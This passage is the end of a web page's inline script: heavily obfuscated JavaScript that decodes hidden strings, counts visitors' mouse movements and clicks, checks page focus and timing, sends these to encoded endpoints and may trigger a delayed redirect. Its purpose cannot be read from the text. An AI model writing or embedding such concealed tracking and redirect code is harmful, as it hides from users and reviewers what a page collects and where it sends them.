ZEf_nqJ="[LmDBph9|5`P<.)Nl$%~ns>}(f2:8/XZ0V!&\"RK4SHg_#jzuA+1I{6o@Gv]Y^M=k?acCTt7UqE,ObWJ;wQrd*x3eiFy",qRG4Sw,kAV9Kh,ggcrYxa,uyKfaIV,dFxk0u,p2Vyi34,wzQQKC;d8aMyMJ(qRG4Sw=""+(luuw3e2||""),kAV9Kh=qRG4Sw.length,ggcrYxa=[],uyKfaIV=ME6FtD[0x0],dFxk0u=ME6FtD[0x0],p2Vyi34=-ME6FtD[0x1]);for(wzQQKC=ME6FtD[0x0];wzQQKC<kAV9Kh;wzQQKC++){var Rhxafx=ZEf_nqJ.indexOf(qRG4Sw[wzQQKC]);if(Rhxafx===-ME6FtD[0x1])continue;if(p2Vyi34<ME6FtD[0x0]){p2Vyi34=Rhxafx}else{d8aMyMJ(p2Vyi34+=Rhxafx*ME6FtD[0xc],uyKfaIV|=p2Vyi34<<dFxk0u,dFxk0u+=(p2Vyi34&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(ggcrYxa.push(uyKfaIV&ME6FtD[0x3]),uyKfaIV>>=ME6FtD[0x2],dFxk0u-=ME6FtD[0x2])}while(dFxk0u>ME6FtD[0x9]);p2Vyi34=-ME6FtD[0x1]}}if(p2Vyi34>-ME6FtD[0x1]){ggcrYxa.push((uyKfaIV|p2Vyi34<<dFxk0u)&ME6FtD[0x3])}return PrveKV(ggcrYxa)}function qRG4Sw(luuw3e2){if(typeof gUxZgow[luuw3e2]===ME6FtD[0x5]){return gUxZgow[luuw3e2]=ZEf_nqJ(LgQ0Uh[luuw3e2])}return gUxZgow[luuw3e2]}return luuw3e2[qRG4Sw(0x75)]&&ohO1uT++}),document[ZEf_nqJ(ME6FtD[0x16])](ZEf_nqJ(0x76),luuw3e2=>{return luuw3e2[ZEf_nqJ(0x77)]&&NFRi5QM++}),window[ZEf_nqJ(0x78)]={["cl"](luuw3e2,qRG4Sw,kAV9Kh){function dFxk0u(luuw3e2){var qRG4Sw="xjKegAnf!.*L:}[mu5sPFz?q9<2^o]QhbpBRi1tJ;M4c~W7vC,kaYIyO3>=Nw@60%V\"8(|{r&SZUDXT)$Hd+#l`_E/G",dFxk0u,wzQQKC,ZEf_nqJ,ggcrYxa,uyKfaIV,p2Vyi34,Rhxafx;d8aMyMJ(dFxk0u=""+(luuw3e2||""),wzQQKC=dFxk0u.length,ZEf_nqJ=[],ggcrYxa=ME6FtD[0x0],uyKfaIV=ME6FtD[0x0],p2Vyi34=-ME6FtD[0x1]);for(Rhxafx=ME6FtD[0x0];Rhxafx<wzQQKC;Rhxafx++){var PT24Pmi=qRG4Sw.indexOf(dFxk0u[Rhxafx]);if(PT24Pmi===-ME6FtD[0x1])continue;if(p2Vyi34<ME6FtD[0x0]){p2Vyi34=PT24Pmi}else{d8aMyMJ(p2Vyi34+=PT24Pmi*ME6FtD[0xc],ggcrYxa|=p2Vyi34<<uyKfaIV,uyKfaIV+=(p2Vyi34&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(ZEf_nqJ.push(ggcrYxa&ME6FtD[0x3]),ggcrYxa>>=ME6FtD[0x2],uyKfaIV-=ME6FtD[0x2])}while(uyKfaIV>ME6FtD[0x9]);p2Vyi34=-ME6FtD[0x1]}}if(p2Vyi34>-ME6FtD[0x1]){ZEf_nqJ.push((ggcrYxa|p2Vyi34<<uyKfaIV)&ME6FtD[0x3])}return PrveKV(ZEf_nqJ)}function wzQQKC(luuw3e2){if(typeof gUxZgow[luuw3e2]===ME6FtD[0x5]){return gUxZgow[luuw3e2]=dFxk0u(LgQ0Uh[luuw3e2])}return gUxZgow[luuw3e2]}document[ZEf_nqJ(0x79)](luuw3e2)?.addEventListener(wzQQKC(0x7a),()=>{if(d5rlme){return}d5rlme=!ME6FtD[0x0];const luuw3e2=HBwcHN();d8aMyMJ(ggcrYxa[wzQQKC(0x7b)](uyKfaIV,luuw3e2+sGtbgxx*ME6FtD[0x17]+""),setTimeout(()=>{function dFxk0u(dFxk0u){var ZEf_nqJ="1eDp:/M^(@*S)A9%{am,74YcqP!FzK~bGQoT06gNi$s3BrxvtXEuROn[.`]><+=&CIh2lUJLyV#}jWwH;8_|\"?Z5fdk",luuw3e2,qRG4Sw,wzQQKC,ggcrYxa,uyKfaIV,p2Vyi34,Rhxafx;d8aMyMJ(luuw3e2=""+(dFxk0u||""),qRG4Sw=luuw3e2.length,wzQQKC=[],ggcrYxa=ME6FtD[0x0],uyKfaIV=ME6FtD[0x0],p2Vyi34=-ME6FtD[0x1]);for(Rhxafx=ME6FtD[0x0];Rhxafx<qRG4Sw;Rhxafx++){var PT24Pmi=ZEf_nqJ.indexOf(luuw3e2[Rhxafx]);if(PT24Pmi===-ME6FtD[0x1])continue;if(p2Vyi34<ME6FtD[0x0]){p2Vyi34=PT24Pmi}else{d8aMyMJ(p2Vyi34+=PT24Pmi*ME6FtD[0xc],ggcrYxa|=p2Vyi34<<uyKfaIV,uyKfaIV+=(p2Vyi34&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(wzQQKC.push(ggcrYxa&ME6FtD[0x3]),ggcrYxa>>=ME6FtD[0x2],uyKfaIV-=ME6FtD[0x2])}while(uyKfaIV>ME6FtD[0x9]);p2Vyi34=-ME6FtD[0x1]}}if(p2Vyi34>-ME6FtD[0x1]){wzQQKC.push((ggcrYxa|p2Vyi34<<uyKfaIV)&ME6FtD[0x3])}return PrveKV(wzQQKC)}function ZEf_nqJ(ZEf_nqJ){if(typeof gUxZgow[ZEf_nqJ]===ME6FtD[0x5]){return gUxZgow[ZEf_nqJ]=dFxk0u(LgQ0Uh[ZEf_nqJ])}return gUxZgow[ZEf_nqJ]}return yoOd7k(wzQQKC(0x7c),{[ZEf_nqJ(0x7d)]:p2Vyi34,[ZEf_nqJ(0x7e)]:Rhxafx,[ZEf_nqJ(ME6FtD[0x18])]:vtIIw5c-C2SnEx,mm:ohO1uT,dc:NFRi5QM,fk:qRG4Sw,[ZEf_nqJ(ME6FtD[0x19])]:!document[ZEf_nqJ(0x81)]&&document[ZEf_nqJ(0x82)](),ms:luuw3e2-vtIIw5c})[ZEf_nqJ(0x83)](dFxk0u=>{return dFxk0u&&setTimeout(()=>{return ontclpc(dFxk0u)},kAV9Kh?kAV9Kh-(HBwcHN()-luuw3e2):ME6FtD[0x0])})[ZEf_nqJ(0x84)](()=>{return ME6FtD[0x0]})},0xa))})},ch:()=>{function luuw3e2(luuw3e2){var qRG4Sw="q;gCmyB92s)/>kX]J@bQ&03P:<%oIr$c1h`i{N[xl!FUneHSW~\"#Ez74Z*d,DwvV?fA+O.^TuMGjY|5t6=a}_KR8pL(",ZEf_nqJ,kAV9Kh,ggcrYxa,uyKfaIV,dFxk0u,p2Vyi34,wzQQKC;d8aMyMJ(ZEf_nqJ=""+(luuw3e2||""),kAV9Kh=ZEf_nqJ.length,ggcrYxa=[],uyKfaIV=ME6FtD[0x0],dFxk0u=ME6FtD[0x0],p2Vyi34=-ME6FtD[0x1]);for(wzQQKC=ME6FtD[0x0];wzQQKC<kAV9Kh;wzQQKC++){var Rhxafx=qRG4Sw.indexOf(ZEf_nqJ[wzQQKC]);if(Rhxafx===-ME6FtD[0x1])continue;if(p2Vyi34<ME6FtD[0x0]){p2Vyi34=Rhxafx}else{d8aMyMJ(p2Vyi34+=Rhxafx*ME6FtD[0xc],uyKfaIV|=p2Vyi34<<dFxk0u,dFxk0u+=(p2Vyi34&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(ggcrYxa.push(uyKfaIV&ME6FtD[0x3]),uyKfaIV>>=ME6FtD[0x2],dFxk0u-=ME6FtD[0x2])}while(dFxk0u>ME6FtD[0x9]);p2Vyi34=-ME6FtD[0x1]}}if(p2Vyi34>-ME6FtD[0x1]){ggcrYxa.push((uyKfaIV|p2Vyi34<<dFxk0u)&ME6FtD[0x3])}return PrveKV(ggcrYxa)}function qRG4Sw(qRG4Sw){if(typeof gUxZgow[qRG4Sw]===ME6FtD[0x5]){return gUxZgow[qRG4Sw]=luuw3e2(LgQ0Uh[qRG4Sw])}return gUxZgow[qRG4Sw]}return yoOd7k(ZEf_nqJ(0x85),{[qRG4Sw(0x86)]:p2Vyi34,[qRG4Sw(0x87)]:Rhxafx})[qRG4Sw(0x88)](luuw3e2=>{return Number(luuw3e2)===ME6FtD[0x1]})},bl:()=>{function luuw3e2(luuw3e2){var ZEf_nqJ="VHMhoA]B{dCwbvzEOi~8yY&>0;5KpIu(6?tSXNsf9rTQP1l4c,xL2^nFRqe_\"a7kG`!U<J3jgZ/=D.}m#+%|$[@)*:W",qRG4Sw,kAV9Kh,ggcrYxa,uyKfaIV,dFxk0u,p2Vyi34,wzQQKC;d8aMyMJ(qRG4Sw=""+(luuw3e2||""),kAV9Kh=qRG4Sw.length,ggcrYxa=[],uyKfaIV=ME6FtD[0x0],dFxk0u=ME6FtD[0x0],p2Vyi34=-ME6FtD[0x1]);for(wzQQKC=ME6FtD[0x0];wzQQKC<kAV9Kh;wzQQKC++){var Rhxafx=ZEf_nqJ.indexOf(qRG4Sw[wzQQKC]);if(Rhxafx===-ME6FtD[0x1])continue;if(p2Vyi34<ME6FtD[0x0]){p2Vyi34=Rhxafx}else{d8aMyMJ(p2Vyi34+=Rhxafx*ME6FtD[0xc],uyKfaIV|=p2Vyi34<<dFxk0u,dFxk0u+=(p2Vyi34&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(ggcrYxa.push(uyKfaIV&ME6FtD[0x3]),uyKfaIV>>=ME6FtD[0x2],dFxk0u-=ME6FtD[0x2])}while(dFxk0u>ME6FtD[0x9]);p2Vyi34=-ME6FtD[0x1]}}if(p2Vyi34>-ME6FtD[0x1]){ggcrYxa.push((uyKfaIV|p2Vyi34<<dFxk0u)&ME6FtD[0x3])}return PrveKV(ggcrYxa)}function ZEf_nqJ(ZEf_nqJ){if(typeof gUxZgow[ZEf_nqJ]===ME6FtD[0x5]){return gUxZgow[ZEf_nqJ]=luuw3e2(LgQ0Uh[ZEf_nqJ])}return gUxZgow[ZEf_nqJ]}return yoOd7k(ZEf_nqJ(0x89),{[ZEf_nqJ(0x8a)]:p2Vyi34,[ZEf_nqJ(0x8b)]:Rhxafx})[ZEf_nqJ(0x8c)](()=>{})}})}luuw3e2()})();
</script>

</body>
</html>